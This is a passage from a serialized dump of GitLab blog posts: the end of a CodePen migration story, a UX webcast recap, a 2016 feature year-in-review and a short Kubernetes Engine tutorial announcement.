see who has moved that into master since the last production deploy._\n\nThey also love the [rollback] button: no pain, all gain. Now it's easy to roll back changes.\n\n> 19:18. _I feel more comfortable, for sure._\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-orange\">\n### \u003Ci class=\"far fa-heart fa-fw\" aria-hidden=\"true\">\u003C/i> Their impression\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n23:20. Overall, GitLab brought them speed, security and agility.\n\n> 23:37. _Whatever we want to do, we can do, and we're not bound by someone else's Continuous Deployment setup._\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n### \u003Ci class=\"fas fa-chain fa-fw\" aria-hidden=\"true\">\u003C/i> Project Management: everything in one place\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n> 24:56. _We were using Trello boards to organize our tasks, but very recently we've decided to move our project's specific tasks into GitLab [[Issue Boards]]. And that's because Trello is really good, in my opinion, for idea generation and quickly getting up cards for a lot of ideas you have. But the fact that the cards are so easy to add, at any point anywhere, kind of hurt us when we were trying to plan dev-work for a project, because we had duplicate cards, and the cards weren't tied to any specific pull request or issue in the codebase. So, it's kind of wish-washy having project planning over in Trello. (...) We've decided to switch to GitLab for actionable tasks related to getting up a project finished within CodePen._\n\n26:40. They appreciate having the [Issue Boards], [Todos], and [Time Tracking][tt] in one single platform, tied together with their code.\n\n> 28:07. _Let's start looking at all of the things that are required to go into a feature and all, and assign them priorities, and people, and milestones, and time estimates, and stuff, and it feels like a really grown-up management of a thing, and it's pretty interesting!_\n\n29:10. They mentioned how cool it is to perform a [slash command][slash]\nto add how long it's going to take to complete the implementation of a feature, right from an issue comment.\n\n> 29:50. _We are, as a group, sick of not having an understanding of how long it's going to take to complete a feature or whatever. If we use [[Time Tracking][tt]], we'll know, or we'll be a lot closer to it! And further, we're going to be more accurate on what those time estimates are going to be, and we can plan around that, and not feel so wishy-washy about these big important things that we're doing. So we get that! That comes in the GitLab package as well, so it's kind of like we replaced GitHub, Codeship and Trello with one open source tool! This feels kind of cool!_\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-orange\">\n### \u003Ci class=\"fas fa-heartbeat fa-fw\" aria-hidden=\"true\">\u003C/i> The transition\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\n30.45. They feel they made a mistake by not using the importer tool to import their projects: they simply pushed to GitLab like a separate remote. By doing so, they left some issues and wikis behind and had to transfer them manually.\n\n> 31:24. _This is biggest warning I have for everyone: read the [documentation][docs]!_\n\nWith [GitLab Importer][importer], you can just import your projects from GitHub directly\nfrom the UI, which means pushing a button.\n\n> 31:45. _It's just a button, essentially. You just have to give access to your GitHub account via keys, and once you've done that, GitLab will actually pull in all of your repos, and say \"Which ones do you want to import?\" and you just go \"import\", \"import\", \"import\"..._\n\u003C/div>\n\u003C/div>\n\n\u003Cdiv class=\"panel panel-gitlab-purple\">\n### \u003Ci class=\"fas fa-check-square-o fa-fw\" aria-hidden=\"true\">\u003C/i> Bottom Line\n{: .panel-heading}\n\u003Cdiv class=\"panel-body\">\nThere's one thing they are missing: squash-merge. Good news for y'all: we have something like that [coming][squash] soon!\n\nAt 33:44 they also mention burndown charts, and there is [an issue][burndown] for that with a lot of traction.\n\n> 34:03. _My final feeling about GitLab is it's incredibly impressive work. Like, holy crap, this is really good software! High five team!_ 🙌\n\n\u003C/div>\n\u003C/div>\n\n## GitLab Version\n\nCodePen is using [GitLab EE Starter][ee], self-managed on AWS together with all their\nstructure.\n\n----\n\nCover image: screenshot of [About CodePen][about].\n{:.note}\n\n\u003C!-- identifiers -->\n\n[about]: http://codepen.io/about/\n[boards]: /stages-devops-lifecycle/issueboard/#step-6\n[burndown]: https://gitlab.com/gitlab-org/gitlab-ee/issues/91\n[ce]: /stages-devops-lifecycle/ \"GitLab Community Edition\"\n[ci-cd]: /blog/continuous-integration-delivery-and-deployment-with-gitlab/\n[ci]: /solutions/continuous-integration/ [Codepen]: https://codepen.io/\n[docs]: https://docs.gitlab.com/\n[ee]: /pricing/ \"GitLab Enterprise Edition\"\n[ff]: https://docs.gitlab.com/ee/user/project/merge_requests/methods/index.html\n[importer]: https://docs.gitlab.com/ee/user/project/import/github.html\n[Issue Boards]: /stages-devops-lifecycle/issueboard/\n[jase smith]: https://codepen.io/jasesmith/\n[pen]: https://codepen.io/jasesmith/pen/GqaVrx\n[pipes]: https://docs.gitlab.com/ee/ci/pipelines/index.html\n[remote-only]: /company/culture/all-remote/\n[rollback]: https://docs.gitlab.com/ee/ci/environments/index.html#viewing-the-deployment-history-of-an-environment\n[slash]: https://docs.gitlab.com/ee/user/project/quick_actions.html\n[squash]: https://gitlab.com/gitlab-org/gitlab-ee/issues/150\n[team]: https://codepen.io/about/\n[todos]: https://docs.gitlab.com/ee/user/todos.html\n[tt]: https://docs.gitlab.com/ee/user/project/time_tracking.html\n\n\u003Cstyle>\nh3 {\n  margin-top: 0 !important;\n  margin-bottom: 0 !important;\n  font-size: 20px !important;\n}\n.shadow {\n  box-shadow: 0 4px 18px 0 rgba(0, 0, 0, 0.1), 0 6px 20px 0 rgba(0, 0, 0, 0.09);\n  margin-bottom: 20px;\n  margin-top: 20px; }\n}\n\u003C/style>\n",{"slug":36485,"featured":6,"template":678},"codepen-welcome-to-gitlab","content:en-us:blog:codepen-welcome-to-gitlab.yml","Codepen Welcome To Gitlab","en-us/blog/codepen-welcome-to-gitlab.yml","en-us/blog/codepen-welcome-to-gitlab",{"_path":36491,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36492,"content":36498,"config":36502,"_id":36504,"_type":16,"title":36505,"_source":17,"_file":36506,"_stem":36507,"_extension":20},"/en-us/blog/designing-for-the-modern-developer-recap",{"title":36493,"description":36494,"ogTitle":36493,"ogDescription":36494,"noIndex":6,"ogImage":36495,"ogUrl":36496,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36496,"schema":36497},"Designing for the modern developer","Recap and recording from our recent webcast featuring the GitLab user experience (UX) team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683970/Blog/Hero%20Images/designing-for-the-modern-developer.jpg","https://about.gitlab.com/blog/designing-for-the-modern-developer-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Designing for the modern developer\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-01-24\",\n      }",{"title":36493,"description":36494,"authors":36499,"heroImage":36495,"date":36500,"body":36501,"category":734},[22017],"2017-01-24","\n\nWe're proud of how each team within the company delivers to make us better for every monthly release. Because GitLab spans the entire software development lifecycle, our UX team routinely tackles a series of unique creative challenges, which they discussed in depth in our recent webcast, \"Designing for the Modern Developer.\"\n\nUX Lead Allison Whilden and UX Researcher Sarah O'Donnell chat about how the team designs the interface, responds to feedback, and helps fit new features into our understanding of the needs of all users.\n\nWatch the recording and get the highlights below.\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/nnL48m0m4qo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Highlights\n\n### How we make design decisions\n\n>  At every stage, we carefully think through why decisions are made, and for whom. We have a number of methods that help us do this: research, testing, surveys, working with internal devs, and carrying on a constant conversation with our community.\n\n### Users of our own design\n\n>  We’re pretty unique in that every day, we use our own product. This gives us an intimate understanding of how the software is used. It empowers us as users with opinions, and also forces us to be extra thoughtful about removing bias from our evaluation of the UX. We take seriously that we need to represent all opinions, not just our own. UX is about calculated decisions, not anyone’s idea about what they like best. We naturally adopt a sort of split brain when using the software and observing user behavior--we empathize both as users and technical experts.\n\n### How we work with Engineering and Product\n\n>  Being a remote startup, we have a rather unique challenge of building a shared vision and perspective for UX while we are scattered across the world, and across features of the product. We’re working on this by documenting everything in our [UX Guide](https://docs.gitlab.com/ee/development/ux_guide/index.html), which you’re free to read through. More and more of the industry is becoming remote, so we’re excited to be experimenting with ways to stay connected. We believe that what we learn will be increasingly valuable to other companies. We navigate our relationship with the product team by understanding that they are both users & builders, too.\n\n### We're sensitive to different needs and work styles\n\n>  We’re opinionated - we have a GitLab workflow, which we use at GitLab, the company, but we understand that not everyone works the way we do. Some of our company values, like extreme transparency, need to be made “optional” for users in other companies, for example when we think about how permissions work.\nWe also build things that we ourselves don’t currently need.\n\n### How we balance feedback\n\n>  In order to keep up with releases and deliver minimum viable change, we need to amplify some voices. When we have to prioritize, we address issues from our Enterprise customers first, then from our outside community, and then from developers on our team.\n\n### Our UX research interests\n\n>  We want to build an understanding of who our users are and how they work. While we get a lot of great feedback from the community that is really helpful, we aren't always sure we are capturing the full range of our target users. We're developing personas that will allow us to relate to different types of users and subsequently predict their behavior. This is essential for our key challenge of creating a unified experience for teams big and small, so they can stay focused on their own goals.\n>  \n\n\nYou can learn more about this in our recent [blog post](/blog/the-importance-of-ux-personas/)!\n\n\nCover image: \"[sampa](https://www.flickr.com/photos/hernaniarruda/16024464453)\" by [Hernani Arruda Monteiro da Silva](https://www.flickr.com/photos/hernaniarruda/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/legalcode).\n{:.note}\n",{"slug":36503,"featured":6,"template":678},"designing-for-the-modern-developer-recap","content:en-us:blog:designing-for-the-modern-developer-recap.yml","Designing For The Modern Developer Recap","en-us/blog/designing-for-the-modern-developer-recap.yml","en-us/blog/designing-for-the-modern-developer-recap",{"_path":36509,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36510,"content":36515,"config":36519,"_id":36521,"_type":16,"title":36522,"_source":17,"_file":36523,"_stem":36524,"_extension":20},"/en-us/blog/gitlab-2016-year-in-review",{"title":36511,"description":36512,"ogTitle":36511,"ogDescription":36512,"noIndex":6,"ogImage":35909,"ogUrl":36513,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36513,"schema":36514},"GitLab 2016 year in review","We’re proud to announce that we closed 2016 with the entire idea-to-production workflow, as promised! These are the highlights!","https://about.gitlab.com/blog/gitlab-2016-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 2016 year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Connor Shea\"}],\n        \"datePublished\": \"2017-01-24\",\n      }",{"title":36511,"description":36512,"authors":36516,"heroImage":35909,"date":36500,"body":36518,"category":299},[36517],"Connor Shea","\nAt GitLab, we believe the best approach to software delivery is to ship quickly and often.\nBy building a team and a [company culture](/company/culture/) that values iteration over perfection, we\nare able to ship new improvements and features every month!\n\nSo it should come as no surprise that in 2016, we shipped 12 new versions of GitLab!\nIncluded in those releases were major new features like [Issue Boards] and\n[Cycle Analytics], and the completion of our idea-to-production [vision](/blog/gitlab-master-plan/#vision).\n\n\u003C!-- more -->\n\nFor a visual of how far we’ve come, take a look at these two screenshots.\n\nAn issue for GitLab Community Edition on January 22, 2016 (8.4):\n\n![Screenshot of an issue from GitLab 8.4 on January 22, 2016](https://about.gitlab.com/images/blogimages/2016-year-in-review/gitlab-8-4.png)\n\nAn issue for GitLab Community Edition on January 3, 2017 (8.15):\n\n![Screenshot of an issue from GitLab 8.15 on January 3, 2017](https://about.gitlab.com/images/blogimages/2016-year-in-review/gitlab-8-15.png)\n\n## January: 8.4\n\n> [GitLab 8.4 Release Post](/releases/2016/01/22/gitlab-8-4-released/)\n\nWe kicked off the year with our 50th release of GitLab.\n\n### Build Artifacts\n\nA browser was added for [Build Artifacts](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html). Artifacts are the output resulting from builds, and can be used to provide binaries for a piece of software, the compiled content of a static site, or the results of a test coverage checker.\n\n### File Finder\n\nWe introduced a [File Finder](https://docs.gitlab.com/ee/user/project/repository/file_finder.html), a much-requested addition contributed by the community! It helps find any file in a repository using \"fuzzy\" search.\n\n### Elasticsearch (EE Starter)\n\nImproved repository search was added for [Enterprise Edition Starter](/stages-devops-lifecycle/) with [Elasticsearch](https://docs.gitlab.com/ee/integration/advanced_search/elasticsearch.html). This made searching projects' code, issues, and merge requests faster and more useful.\n\n## February: 8.5\n\n> [GitLab 8.5 Release Post](/releases/2016/02/22/gitlab-8-5-released/)\n\n### Todos\n\nFebruary saw the release of GitLab 8.5 with the introduction of [Todos](https://docs.gitlab.com/ee/user/todos.html) – our take on a more useful notification system.\n\n### GitLab Geo (EE Premium)\n\nAlso included in February's release was an alpha version of GitLab Geo. GitLab Geo is available for [GitLab Enterprise Edition Premium](/stages-devops-lifecycle/) and allows companies with offices around the world to mirror their GitLab instance in multiple places. This makes downloading large repositories much faster for all team members, no matter where they are.\n\n### Custom Domains and custom TLS certs for GitLab Pages\n\n[GitLab Pages](https://pages.gitlab.io/) added support for custom domains and custom TLS certificates. This allows users to host their static sites on custom domains without giving up the added security of HTTPS. While GitLab Pages is an Enterprise Edition-only feature right now, [we'll be bringing it to all versions in an upcoming release](/releases/2016/12/24/were-bringing-gitlab-pages-to-community-edition/).\n\n## March: 8.6\n\n> [GitLab 8.6 Release Post](/releases/2016/03/22/gitlab-8-6-released/)\n\n### Confidential Issues\n\n[Confidential issues](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html) are issues visible only to members of a project with sufficient permissions. Confidential issues can be used by open source projects and companies alike to keep security vulnerabilities private or prevent surprises from leaking out.\n\n### Subscribing to Labels\n\n[Label subscriptions](https://docs.gitlab.com/ee/user/project/labels.html#subscribe-to-labels) send any newly-labeled issues to your inbox so you can keep up-to-date with issues and merge requests relevant to you.\n\n## April: 8.7\n\n> [GitLab 8.7 Release Post](/releases/2016/04/22/gitlab-8-7-released/)\n\n### License Templates\n\n[License templates](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#template-dropdowns) were\nintroduced, providing users with a quick way to fill in LICENSE files for new projects.\nLicense templates can also be added [using the API](https://docs.gitlab.com/ee/api/templates/licenses.html).\n\n### Due Dates\n\n[Due dates](https://docs.gitlab.com/ee/user/project/issues/due_dates.html) were added for issues. They can be used to keep track of deadlines and make sure features are shipped on time.\n\n### Cherry Picking\n\n[Cherry picking](https://docs.gitlab.com/ee/user/project/merge_requests/cherry_pick_changes.html) is [a feature in Git](https://git-scm.com/docs/git-cherry-pick) that takes individual commits or sets of commits from one branch and adds them to another. It’s most commonly used to backport bug fixes or security patches from the default branch to older, stable branches. GitLab 8.7 added cherry picking to the user interface and lets users do more of their work without switching to the command line.\n\n## May: 8.8\n\n> [GitLab 8.8 Release Post](/releases/2016/05/22/gitlab-8-8-released/)\n\n### Pipelines\n\nWith GitLab 8.8, GitLab CI gained the concept of [Pipelines](https://docs.gitlab.com/ee/ci/pipelines/index.html), collections of builds that are executed in stages. Pipelines allow for better organization and parallelization.\n\n### GitLab Container Registry\n\n[GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html) was a huge addition to our offering with GitLab CI. If you’ve used [Docker](https://www.docker.com/), you probably know what a container registry is. Container registries are used to host and provide Docker containers for testing and deployment of software. Integrating the container registry means that uploading and download Docker images is easy and fast, especially for local instances.\n\nRead [the full blog post](/blog/gitlab-container-registry/) on the GitLab Container Registry for more information.\n\n### `.gitignore` templates\n\nFollowing the introduction of License templates in 8.7, 8.8 provides [`.gitignore` templates](https://docs.gitlab.com/ee/user/project/repository/web_editor.html#template-dropdowns) as well. [`.gitignore` files](https://git-scm.com/docs/gitignore) tell git not to track certain directories or kinds of files to help keep the repository clean. We provide templates for various languages and frameworks to prevent users from committing secrets or large log files to the repository. `.gitignore` templates can also be added [using the API](https://docs.gitlab.com/ee/api/templates/gitignores.html).\n\n## June: 8.9\n\n> [GitLab 8.9 Release Post](/releases/2016/06/22/gitlab-8-9-released/)\n\n### File Locking (EE Premium)\n\n[File Locking](https://docs.gitlab.com/ee/user/project/file_lock.html) is an EE Premium feature that can be used to prevent binary files from being overwritten. This is useful for many use cases, like game development with models, art assets, and sound files or on a website when editing a graphic. File Locking also works for non-binary files.\n\n### Environments\n\nWith GitLab 8.9 you can now define [Environments](https://docs.gitlab.com/ee/ci/environments/index.html). Environments allow you to track deployments and quickly understand things like \"what's running in staging?\"\n\n![Environments](https://about.gitlab.com/images/8_9/environments.png){:.shadow}\n\nFor more information, see [our blog post on Environments and Deployments](/blog/ci-deployment-and-environments/).\n\n### Priority Labels\n\nWith GitLab 8.9, labels can be starred and added to a priority list.\n[Prioritized labels](https://docs.gitlab.com/ee/user/project/labels.html#prioritize-labels)\nare like any other label, but sorted by priority. This allows you to easily\nsort issues and merge requests by priority.\n\n![Priority Labels](https://about.gitlab.com/images/8_9/plabels2.png){:.shadow}\n\n### Redesigned Navigation\n\nWith 8.9 we replaced the often-confusing sidebar paradigm with a new tabbed header. We've been really happy with this change, and think it was a huge improvement over our past iterations.\n\n![Redesigned Navigation](https://about.gitlab.com/images/8_9/look3.png)\n\n### Universal Two Factor (U2F)\n\nUniversal Two Factor (U2F) is a form of [Two-Factor Authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) that uses physical keys (usually via USB) for authentication. GitLab 8.9 added support for the U2F device standard.\n\nSee [our blog post](/blog/gitlab-adds-support-for-u2f/) for more information.\n\n## July: 8.10\n\n> [GitLab 8.10 Release Post](/releases/2016/07/22/gitlab-8-10-released/)\n\n### Wildcard Branch Protection\n\nOur branch protection feature was improved with [Wildcard Branch Protection](https://docs.gitlab.com/ee/user/project/protected_branches.html), allowing repositories to protect branches based on their names, for example `release-*` protects any branch which starts with `release-`.\n\n![Wildcard Branch Protection](https://about.gitlab.com/images/8_10/wc1.png){:.shadow}\n\n### Manual actions for CI\n\n[Manual actions](https://docs.gitlab.com/ee/ci/environments/index.html#manually-deploying-to-environments) were introduced for CI. This addition allows users to maintain fine-grained control over how they handle things like deployments to staging or production, rather than deploying automatically upon a pipeline's completion.\n\n![Manual Actions for CI](https://about.gitlab.com/images/8_10/ci_manual1.png){:.shadow}\n\nFor more information, read the post \"[Continuous Integration, Continuous Delivery, and Continuous Deployment with GitLab](/blog/continuous-integration-delivery-and-deployment-with-gitlab/)\".\n\n## August: 8.11\n\n> [GitLab 8.11 Release Post](/releases/2016/08/22/gitlab-8-11-released/)\n\nGitLab 8.11 was probably the most exciting release of the year, bringing with it a number of major features and improvements.\n\n### Issue Boards\n\n[Issue Boards](/stages-devops-lifecycle/issueboard/) are another way of tracking project issues. Similar to existing kanban board software, [issue boards integrate](https://docs.gitlab.com/ee/user/project/issue_board.html) with the issues you already have in GitLab and organize themselves based on project labels. If you're already using labels to track progress on issues, issue boards shouldn't take more than a minute to set up.\n\n![Issue Boards](https://about.gitlab.com/images/8_11/issue_boards.gif){:.shadow}\n\n### Merge Conflict Resolution\n\nMerge conflicts frequently happen in large projects with lots of developers. They cause friction and slow down the pace of development, which is why we introduced [Merge Conflict Resolution](https://docs.gitlab.com/ee/user/project/merge_requests/resolve_conflicts.html) into the GitLab web interface. With Merge Conflict Resolution, users can resolve simple conflicts right from GitLab.\n\n![Merge Conflict Resolution](https://about.gitlab.com/images/8_11/resolve_mc.gif){:.shadow}\n\n### Merge Request Discussion Resolution\n\nWith [Discussion Resolution](https://docs.gitlab.com/ee/user/discussions/index.html), each comment and discussion on merge request diffs can be resolved. Longer threads can be resolved all at once or just comment-by-comment. Discussion resolution can help prevent feedback from slipping through the cracks on larger merge requests.\n\n![Resolve Discussions](https://about.gitlab.com/images/8_11/resolve_discussion.png){:.shadow}\n\n### Pipeline Graphs\n\n[Pipeline Graphs](https://docs.gitlab.com/ee/ci/pipelines/index.html) are an awesome visual representation of a project's Pipeline, they help users understand the way their pipelines are run.\n\n![Pipeline Graph](https://about.gitlab.com/images/8_11/pipeline_graph2.png){:.shadow}\n\n### Slash Commands\n\nWith the addition of [Slash Commands](https://docs.gitlab.com/ee/user/project/quick_actions.html), comments can be used to modify the status, author, assignee, due date, milestone, and labels of a merge request or issue, among other things. This feature gives users more power over their issues and merge requests without ever leaving the keyboard or needing to memorize keyboard shortcuts.\n\n![Slash Commands](https://about.gitlab.com/images/8_11/slash-commands.gif){:.shadow}\n\n### Koding Integration\n\n8.11 introduces [integration](/blog/koding-and-gitlab-integrated/) with Koding, an online IDE. Koding allows users to develop and test your project without ever leaving the browser. Note that Koding integration isn't currently supported on GitLab.com, only self-managed GitLab instances.\n\n## September: 8.12\n\n> [GitLab 8.12 Release Post](/releases/2016/09/22/gitlab-8-12-released/)\n\n### Cycle Analytics\n\nThe headline feature of 8.12 was [Cycle Analytics](/solutions/value-stream-management/), a new way of [tracking software development](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html) using the data GitLab gathers as you use it. Cycle Analytics is the last step of the [GitLab Workflow](/topics/version-control/what-is-gitlab-flow/).\n\nSee [our feature highlight blog post](/blog/cycle-analytics-feature-highlight/) for more information.\n\n![Cycle Analytics](https://about.gitlab.com/images/8_12/cycle_analytics.png){:.shadow}\n\n### Global Code Search (EE Starter)\n\nCode search was improved for [Enterprise Edition Starter](/stages-devops-lifecycle/) in GitLab 8.12 with the addition of Global Code Search. This allows users to search across all the repositories on an instance, and is especially useful for microservice-based architectures and for reusing code from existing projects.\n\n### Merge Request Versions\n\nWith [Merge Request Versions](https://docs.gitlab.com/ee/user/project/merge_requests/versions.html) you can view previous states of a merge request: compare between a previous commit and the target branch or even between versions, showing you what has changed between certain commits.\n\n![Merge Request Versions](https://about.gitlab.com/images/8_12/mr_versions.png){:.shadow}\n\n## October: 8.13\n\n> [GitLab 8.13 Release Post](/releases/2016/10/22/gitlab-8-13-released/)\n\n### Multiple Issue Boards (EE Starter)\n\nIssue Boards were improved for [EE Starter](/stages-devops-lifecycle/) users by allowing [more than one issue board](https://docs.gitlab.com/ee/user/project/issue_board.html#multiple-issue-boards) for a given project. This is great for large projects with more than one team, or in situations where a repository is used to host the code of multiple products.\n\n![Multiple Issue Boards](https://about.gitlab.com/images/8_13/m_ib.gif){:.shadow}\n\n### Merge Conflict Editor\n\nBuilding on Merge Conflict Resolution introduced in 8.11, the Merge Conflict Resolution tool [gained an Editor](https://docs.gitlab.com/ee/user/project/merge_requests/conflicts.html). This allows more complex merge conflicts, which require the user to manually modify a file in order to resolve a conflict, to be solved right form the GitLab interface.\n\n![Merge Conflict Editor](https://about.gitlab.com/images/8_13/inlinemergeconflictresolution.gif){:.shadow}\n\n## November: 8.14\n\n> [GitLab 8.14 Release Post](/releases/2016/11/22/gitlab-8-14-released/)\n\n### Time Tracking Beta\n\nWith the introduction of the [Time Tracking Beta](https://docs.gitlab.com/ee/user/project/time_tracking.html), companies that need time tracking tools can use them right from within GitLab.\n\n![Time Tracking](https://about.gitlab.com/images/8_14/time.gif){:.shadow}\n\n### Chat Commands\n\nWe introduced [Chat Commands](https://docs.gitlab.com/ee/user/project/integrations/mattermost_slash_commands.html). Chat commands allow you to interact with your GitLab instance from Mattermost.\n\n### Review Apps\n\nA new addition to GitLab CI in this release was [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/). Review Apps can be used to [deploy merge requests from your GitLab instance to a dev or staging environment for testing](https://docs.gitlab.com/ee/ci/review_apps/index.html). At GitLab, we use these for testing [about.gitlab.com](https://gitlab.com/gitlab-com/www-gitlab-com) as well as [docs.gitlab.com](https://gitlab.com/gitlab-org/gitlab-docs).\n\nFor more information on Review Apps, see [our feature highlight blog post](/blog/introducing-review-apps/).\n\n## December: 8.15\n\n> [GitLab 8.15 Release Post](/releases/2016/12/22/gitlab-8-15-released/)\n\nRounding off the year with GitLab 8.15, we finished the base of our [idea-to-production](/blog/gitlab-master-plan/) toolset. Moving on to 2017, we'll build on our current product to make it easier to use and more powerful.\n\n### Auto Deploy\n\n[Auto Deploy](https://docs.gitlab.com/ee/topics/autodevops/stages.html) is an easy way to configure GitLab CI for the deployment of your application. Right now it supports deployment to OpenShift, with more templates coming in future releases.\n\n### Web Terminal\n\nThe addition of the [Web Terminal](https://docs.gitlab.com/ee/ci/environments/index.html#web-terminals) brings more power to the GitLab web interface. If you deploy to your environments with the help of a deployment service (e.g. Kubernetes), GitLab can open a terminal session to your environment and let you debug on your staging or – if you so dare – production site.\n\n![Web Terminal](https://about.gitlab.com/images/8_15/terminal_gif.gif){:.shadow}\n\n### LaTeX Support\n\n[LaTeX support](https://docs.gitlab.com/ee/user/markdown.html#math) was added in 8.15 to improve GitLab for scientists, mathematicians, and anyone else who wanted to use [LaTeX](https://en.wikipedia.org/wiki/LaTeX) in their issues or merge requests. LaTeX support was contributed by the community.\n\n![LaTeX math in a comment](https://about.gitlab.com/images/8_15/math.png){:.shadow}\n\n## Looking forward\n\nAs always, if you found this post interesting and want to contribute to the project, we’d be happy to have you! Take a look around the [Accepting merge requests](https://gitlab.com/gitlab-org/gitlab-ce/issues?scope=all&state=opened&utf8=%E2%9C%93&label_name%5B%5D=Accepting+merge+requests) label in the GitLab CE project, and download the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit) to get started. If you have any questions feel free to reach out on Twitter, in the GDK issue tracker, or in our IRC channel.\n\nWhat improvements do you want to see this year?\n\n{::options parse_block_html=\"true\" /}\n\n\u003C!-- Links -->\n\n[issue boards]: /stages-devops-lifecycle/issueboard/\n[cycle analytics]: /product/cycle-analytics/\n",{"slug":36520,"featured":6,"template":678},"gitlab-2016-year-in-review","content:en-us:blog:gitlab-2016-year-in-review.yml","Gitlab 2016 Year In Review","en-us/blog/gitlab-2016-year-in-review.yml","en-us/blog/gitlab-2016-year-in-review",{"_path":36526,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36527,"content":36533,"config":36537,"_id":36539,"_type":16,"title":36540,"_source":17,"_file":36541,"_stem":36542,"_extension":20},"/en-us/blog/video-tutorial-idea-to-production-on-google-container-engine-gke",{"title":36528,"description":36529,"ogTitle":36528,"ogDescription":36529,"noIndex":6,"ogImage":36530,"ogUrl":36531,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36531,"schema":36532},"Video tutorial: Idea to Production on Google Kubernetes Engine (GKE)","Watch the complete video tutorial to find out how you can take your team's productivity to the next level.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671572/Blog/Hero%20Images/idea-to-production-gke.jpg","https://about.gitlab.com/blog/video-tutorial-idea-to-production-on-google-container-engine-gke","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Video tutorial: Idea to Production on Google Kubernetes Engine (GKE)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean Packham\"}],\n        \"datePublished\": \"2017-01-23\",\n      }",{"title":36528,"description":36529,"authors":36534,"heroImage":36530,"date":36535,"body":36536,"category":734},[36251],"2017-01-23","\n\nWith GitLab 8.16 you can deploy GitLab straight to Google Kubernetes Engine (GKE) and go from Idea to Production in about 20 minutes, with auto-scaling CI, auto deploy, Mattermost, and a private Docker registry all on your own Kubernetes cluster. Watch the complete video tutorial to find out how you can take your team's productivity to the next level.\n\n\u003C!--more-->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3A8mdJl_icM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nFor further instructions, please take a look at the [project](https://gitlab.com/gitlab-org/kubernetes-gitlab-demo).\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">For more about our latest release, catch our upcoming webcast about &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>GitLab 8.16\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;on January 26. \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://page.gitlab.com/20170126_autodeploy_autodeploywebterminal.html\">Register here\u003C/a>!\u003C/p>\n\nImage: \"[Containers](https://www.flickr.com/photos/jumilla/14403331148/in/photolist-nWLQxE-an9FYm-6eVnJP-iYjsv-iEoK39-iYjss-82XJH-9at6Z7-iYjsr-bW3NeL-9gYg6a-njSrwT-eDjxt-6AMx91-o4RkR-6rJaN3-e7BQt-66fJRR-28rg3L-GjMFdK-8LXD1-fs2WCj-4LGK2-a3NYdi-2UrVHv-2UrYz4-2Us2tK-Eeqeo-o9rBXe-hD9cR2-nS6Sax-rF6SGG-dcGZAo-3EK4k-aoHuTF-2AzAVJ-boaQy8-u8Bei-diPqb8-f3ZCWg-61fNWq-QWgZH-fJYrjR-axYxm-shkJMv-85HX8j-fKfUKQ-5aGWYj-piD2pu-7YmaKY)\" by [Jumilla](https://www.flickr.com/photos/jumilla/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/).\n{: .note}\n\n\u003Cp> For information on how to replicate this demo yourself please see our \u003Ca href=\"https://gitlab.highspot.com/spots/615dd7e3911d70c4887812a7\">demo page\u003C/a>.\u003C/p>\n",{"slug":36538,"featured":6,"template":678},"video-tutorial-idea-to-production-on-google-container-engine-gke","content:en-us:blog:video-tutorial-idea-to-production-on-google-container-engine-gke.yml","Video Tutorial Idea To Production On Google Container Engine 